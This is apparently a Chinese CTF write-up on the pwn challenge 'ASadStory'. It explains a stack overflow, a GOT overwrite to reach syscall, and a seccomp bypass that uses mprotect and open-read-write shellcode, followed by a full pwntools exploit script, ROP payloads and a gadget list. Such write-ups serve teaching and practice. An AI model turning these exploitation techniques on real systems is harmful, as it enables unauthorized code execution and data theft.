Note(Pwn) - 0x02
Note(Pwn) - 0x02 - 一次Shellcode猜想的实践
做了[DASCTF X 0psu3 十一月挑战赛|越艰巨·越狂热 ]{.label .primary}的Pwn的第一题[ASadStory ]{.label .primary},解法挺好的。嗯,对。
前置知识
1.ORW 2.StackOverflow
MainThings
解题
Analysis
具体分析过程不再陈述。就是一个栈溢出,开了PIE,NX,PartialRELRO,没有Canary,然后还把init_0函数的地址给你了,可以计算出来基址。 获得函数地址之后会把stdout关闭掉,使用栈溢出读入之后会开启沙箱,把execve和open的系统调用给ban了。
改函数的got表为syscall的地址,这样就能调用syscall了,rax可以用read的返回值(读入的length)进行控制,之后就像ORW一样处理就行了。
函数的选择
既然要改函数的got表为syscall,那么我们经过查看ELF中动态链接的函数,发现prctl函数比较适合。因为 1.函数附近有syscall 2.经过syscall之后能够返回,且没有别的大影响 那么我们就能够通过修改prctl的got表存储地址的最低1字节(因为你没有libc基址而且PIE的基址最低三个16进制是0,如果改两个字节还要爆破),来达到调用syscall的目的。
ROP-Chain OR Shellcode
下一个问题就是在写ropchain的时候出现的,由于没有libc基址,涉及到rdx的东西都必须用csu进行调用函数。就很麻烦,ROPchain也是非常的长。 我懒得写这么长的ROP,然后就直接调用shellcode了。 就是调用mprotect的系统调用,把bss那里改为rwxd了(因为我栈迁移到那里了)
open64() OR openat
刚开始没想到用shellcode的时候,想打开文件读取flag,但是使用openat的系统调用好像很玄学(不要问我为什么不用open的系统调用,因为被ban了) 三个参数后两个还好,第一个不论咋变都没法打开文件。看了glibc文件之后,发现第一个参数是个常数,但是仍然打不开文件。 使用shellcode之后,直接可以抛弃自己调用openat了,直接调用open64()不香吗?(啊?open系统调用不是被ban了吗?哦,open64()用的是openat,那没事了) 反正shellcode里面直接对got表存储地址操作就行了,相当于ret2libc
Another Way to Control RAX???
看setbuf函数的汇编,发现这里把stdxxx读入到rax里面,结束的时候没有把rax设置为0,这就可以相当于mov rax,[stdxxx_addr];ret的gadget了。但是这里setbuf函数可能会因为rax的异常导致寄掉,这里我们还是要改下setbuf函数的got表存储地址为ret的。(这里glibc文件里面setbuf附近正好有ret,直接低位覆盖就行了) 虽然这里会把bss里面的strerr给改掉,但是这里不必担心,syscall的write好像不走这条路。
EXP
#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwn
from pwn import*
context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']
pwn = './challenge'
p=remote('node4.buuoj.cn',26827)
# p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process('./challenge')
# gdb.attach(p)
#elf=ELF(pwn)
#libc=ELF('./libc.so.6')
p.sendlineafter("2.no","1")
p.sendlineafter("weapon:","1")
p.recvuntil("0x")
addr=int(p.recv(12),16)
base=addr-0x1249
print(base)
syscall=0x1130+base
syscall_a=0x4048+base
read_a=0x1110+base
read_p=0x4038+base
setax=0x1265+base # set rax,err;pop rbp;ret
err=0x40a0+base
p.sendline("2")
buf=0x40b0+base
buf1=0x40b0+0x1000+base
sh=buf+0xb8
pop_rdi=0x1643+base
pop_rsi2=0x1641+base
prc=0x4020+base
csu0=0x163a+base # rbx=0 r15=function_addr rbp=buf-8
csu1=0x1620+base
leaveret=0x141e+base
puts=0x4030+base
setax_pay=p64(pop_rsi2)+p64(err)*2+p64(read_a)+p64(setax)
pause()
payload=b'a'*0x30
payload+=p64(buf-8)+p64(csu0)+p64(0)+p64(1)+p64(0)+p64(buf-8)+p64(0x500)+p64(read_p)+p64(csu1)+p64(buf-8)*7+p64(leaveret)
p.sendline(payload)
# setbuf got gai 0x7e
code=buf+0x100
out=0x40a0
exit=0x4058+base
flag=buf+0x300-0x1f8+0x300
gets=0x4050+base
pause()
payload2=p64(buf+0x100)+p64(pop_rsi2)+p64(syscall_a)*2+p64(read_a)+p64(pop_rsi2)+p64(prc)*2+p64(read_a)
# +p64(pop_rsi2)+p64(prc)*2+p64(read_a)+setax_pay+p64(buf+0x100)
payload2+=p64(csu0)+p64(0)+p64(1)+p64(0)+p64(0x4000+base)+p64(0xf)+p64(read_p)+p64(csu1)+p64(buf-8)*7+p64(pop_rdi)+p64(base+0x4000)+p64(pop_rsi2)+p64(0x1000)*2+p64(syscall)
payload2+=p64(flag-0x310)
# payload2+=p64(pop_rsi2)+p64(err)*2+p64(read_a)+p64(setax)+p64(buf+0x100)+p64(csu0)+p64(0)+p64(1)+p64(3)+p64(flag)+p64(0x100)+p64(prc)+p64(csu1)+p64(buf-8)*7+p64(syscall)
# payload2+=p64(pop_rsi2)+p64(err)*2+p64(read_a)+p64(setax)+p64(buf+0x100)+p64(csu0)+p64(0)+p64(1)+p64(out)+p64(flag)+p64(0x100)+p64(prc)+p64(csu1)+p64(buf-8)*7+p64(syscall)+p64(exit)
payload2.ljust(0x308,b'\x00')
payload2+=b'./flag\x00\x00'
payload2+=asm('''
mov rdx, 0x0
mov rsi, 0x0
mov rdi, {}
mov rax, [{}]
sub rax, 0x83970
add rax, 0x10dce0
call rax
mov rdi, 0x1
mov rsi, {}
mov rdx, 0x100
mov rax, 0
syscall
mov rdi, 2
mov rsi, {}
mov rdx, 0x100
mov rax, 0x1
syscall
'''.format(flag-0x318,gets,flag, flag))
p.sendline(payload2)
pause()
p.send(b'\x6c')
pause()
payload3=b'\x7e'
p.send(payload3)
pause()
p.send('aaaaaaaaaa')
p.interactive()
# 0x000000000000141e : leave ; ret
# 0x000000000000163c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000000163e : pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000001640 : pop r14 ; pop r15 ; ret
# 0x0000000000001642 : pop r15 ; ret
# 0x000000000000163b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000000163f : pop rbp ; pop r14 ; pop r15 ; ret
# 0x0000000000001233 : pop rbp ; ret
# 0x0000000000001643 : pop rdi ; ret
# 0x0000000000001641 : pop rsi ; pop r15 ; ret
# 0x000000000000163d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000000101a : ret
After Solving
突然想到自己都用stderr输出flag了,才意识到为什么不用stderr泄露libc基址呢。。。服了。。。 (???):你不会以为你这样就能逃离改got表的方法了吧??? 仔细想想,针对这一题,如果泄露libc基址,就要用stderr输出东西,那么就要用write,但是这里got表里面没有write函数,所以泄露libc基址还是要靠syscall的。 这样一想,如果泄露libc基址了,那么直接基本ORW不就秒了??? 啊啊啊啊啊啊啊啊啊啊,我又想麻烦了,qswl 用mprotect函数打开运行权限再执行shellcode的想法之前很早就有了,但是一直没有找到好用的地方,就是这里吧。。。 把got表改为syscall确实是个不错的方法。